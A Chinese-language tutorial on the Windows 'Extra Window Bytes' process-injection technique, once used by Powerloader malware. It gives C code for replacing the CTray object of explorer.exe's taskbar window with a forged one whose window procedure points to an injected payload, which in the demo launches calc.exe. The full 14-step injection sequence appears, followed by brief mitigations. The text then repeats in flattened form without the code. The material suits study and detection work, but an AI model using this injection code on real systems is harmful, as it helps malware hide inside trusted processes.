Windows进程注入技术之额外的Window字节篇
字数 1030 2025-08-29 08:32:24

Windows进程注入技术:额外的Window字节篇

技术概述

这种进程注入技术利用Windows窗口对象中的额外字节(Extra Window Bytes)来实现代码注入,最早可追溯到2013年左右的Powerloader恶意软件。该技术基于Windows操作系统中长期存在的功能,可能早在80年代末或90年代初就已存在。

技术原理

窗口额外字节机制

Windows窗口对象在索引0处的内容可用于将类对象与窗口相关联。关键API函数:

  • SetWindowLongPtr: 将指向类对象的指针存储到索引0处
  • GetWindowLongPtr: 从索引0处检索指针

Shell_TrayWnd窗口

该技术常使用"Shell_TrayWnd"窗口作为注入向量,这是Windows任务栏的主窗口,由explorer.exe进程拥有。

技术实现细节

CTray类结构

CTray是Shell_TrayWnd窗口使用的类,其结构定义如下:

// CTray object for Shell_TrayWnd
typedef struct _ctray_vtable {
    ULONG_PTR vTable;    // 虚表指针(需改为远程内存地址)
    ULONG_PTR AddRef;    // 引用计数方法
    ULONG_PTR Release;   // 释放方法
    ULONG_PTR WndProc;   // 窗口过程(改为payload地址)
} CTray;

注意:

  • ULONG_PTR在32位系统上是4字节,64位上是8字节
  • 不能直接覆盖原始对象的WndProc指针(因为它是只读的)
  • 需要复制现有对象到本地内存,修改WndProc后写入explorer.exe进程的新位置

有效载荷设计

有效载荷需要遵循特定的函数原型,否则可能导致explorer.exe崩溃:

LRESULT CALLBACK WndProc(
    HWND hWnd, 
    UINT uMsg, 
    WPARAM wParam, 
    LPARAM lParam
)
{
    // 只处理WM_CLOSE消息,忽略其他消息
    if(uMsg != WM_CLOSE) 
        return 0;
    
    // 示例:执行calc.exe
    WinExec_t pWinExec;
    DWORD szWinExec[2], szCalc[2];
    
    // "WinExec"的ASCII编码
    szWinExec[0] = 0x456E6957;
    szWinExec[1] = 0x00636578;
    
    // "calc"的ASCII编码
    szCalc[0] = 0x636C6163;
    szCalc[1] = 0;
    
    // 获取WinExec函数地址
    pWinExec = (WinExec_t)xGetProcAddress(szWinExec);
    
    if(pWinExec != NULL) {
        pWinExec((LPSTR)szCalc, SW_SHOW);
    }
    
    return 0;
}

完整注入流程

  1. 获取Shell_TrayWnd窗口句柄

    hw = FindWindow("Shell_TrayWnd", NULL);
    
  2. 获取explorer.exe进程ID

    GetWindowThreadProcessId(hw, &pid);
    
  3. 打开explorer.exe进程

    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    
  4. 获取当前CTray对象指针

    ctp = GetWindowLongPtr(hw, 0);
    
  5. 读取当前CTray对象的虚表指针

    ReadProcessMemory(hp, (LPVOID)ctp, (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);
    
  6. 从虚表读取三个方法地址

    ReadProcessMemory(hp, (LPVOID)ct.vTable, (LPVOID)&ct.AddRef, sizeof(ULONG_PTR)*3, &wr);
    
  7. 在目标进程分配RWX内存用于代码

    cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
  8. 将有效载荷代码写入目标进程

    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    
  9. 在目标进程分配RW内存用于新CTray对象

    ds = VirtualAllocEx(hp, NULL, sizeof(ct), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    
  10. 构造并写入新的CTray对象

    ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR);
    ct.WndProc = (ULONG_PTR)cs;
    WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr);
    
  11. 设置新的CTray对象指针

    SetWindowLongPtr(hw, 0, (ULONG_PTR)ds);
    
  12. 触发有效载荷

    PostMessage(hw, WM_CLOSE, 0, 0);
    
  13. 恢复原始CTray对象

    SetWindowLongPtr(hw, 0, ctp);
    
  14. 清理资源

    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT|MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT|MEM_RELEASE);
    CloseHandle(hp);
    

技术限制与防护

  • UIPI缓解:自Windows Vista引入的用户界面权限隔离(UIPI)在一定程度上缓解了此类攻击
  • 兼容性:该技术在最新版Windows 10上仍然有效
  • 防护措施
    • 监控对SetWindowLongPtr的调用
    • 检查窗口过程是否被修改
    • 实施完整性检查

总结

这种窗口对象注入技术属于"粉碎窗口攻击"(Window Shattering Attack)类型,虽然有一定防护措施,但仍然是一个有效的注入方法。理解这种技术有助于开发更好的防御机制和检测方法。

Windows进程注入技术:额外的Window字节篇 技术概述 这种进程注入技术利用Windows窗口对象中的额外字节(Extra Window Bytes)来实现代码注入,最早可追溯到2013年左右的Powerloader恶意软件。该技术基于Windows操作系统中长期存在的功能,可能早在80年代末或90年代初就已存在。 技术原理 窗口额外字节机制 Windows窗口对象在索引0处的内容可用于将类对象与窗口相关联。关键API函数: SetWindowLongPtr : 将指向类对象的指针存储到索引0处 GetWindowLongPtr : 从索引0处检索指针 Shell_ TrayWnd窗口 该技术常使用"Shell_ TrayWnd"窗口作为注入向量,这是Windows任务栏的主窗口,由explorer.exe进程拥有。 技术实现细节 CTray类结构 CTray是Shell_ TrayWnd窗口使用的类,其结构定义如下: 注意: ULONG_PTR 在32位系统上是4字节,64位上是8字节 不能直接覆盖原始对象的WndProc指针(因为它是只读的) 需要复制现有对象到本地内存,修改WndProc后写入explorer.exe进程的新位置 有效载荷设计 有效载荷需要遵循特定的函数原型,否则可能导致explorer.exe崩溃: 完整注入流程 获取Shell_ TrayWnd窗口句柄 获取explorer.exe进程ID 打开explorer.exe进程 获取当前CTray对象指针 读取当前CTray对象的虚表指针 从虚表读取三个方法地址 在目标进程分配RWX内存用于代码 将有效载荷代码写入目标进程 在目标进程分配RW内存用于新CTray对象 构造并写入新的CTray对象 设置新的CTray对象指针 触发有效载荷 恢复原始CTray对象 清理资源 技术限制与防护 UIPI缓解 :自Windows Vista引入的用户界面权限隔离(UIPI)在一定程度上缓解了此类攻击 兼容性 :该技术在最新版Windows 10上仍然有效 防护措施 : 监控对 SetWindowLongPtr 的调用 检查窗口过程是否被修改 实施完整性检查 总结 这种窗口对象注入技术属于"粉碎窗口攻击"(Window Shattering Attack)类型,虽然有一定防护措施,但仍然是一个有效的注入方法。理解这种技术有助于开发更好的防御机制和检测方法。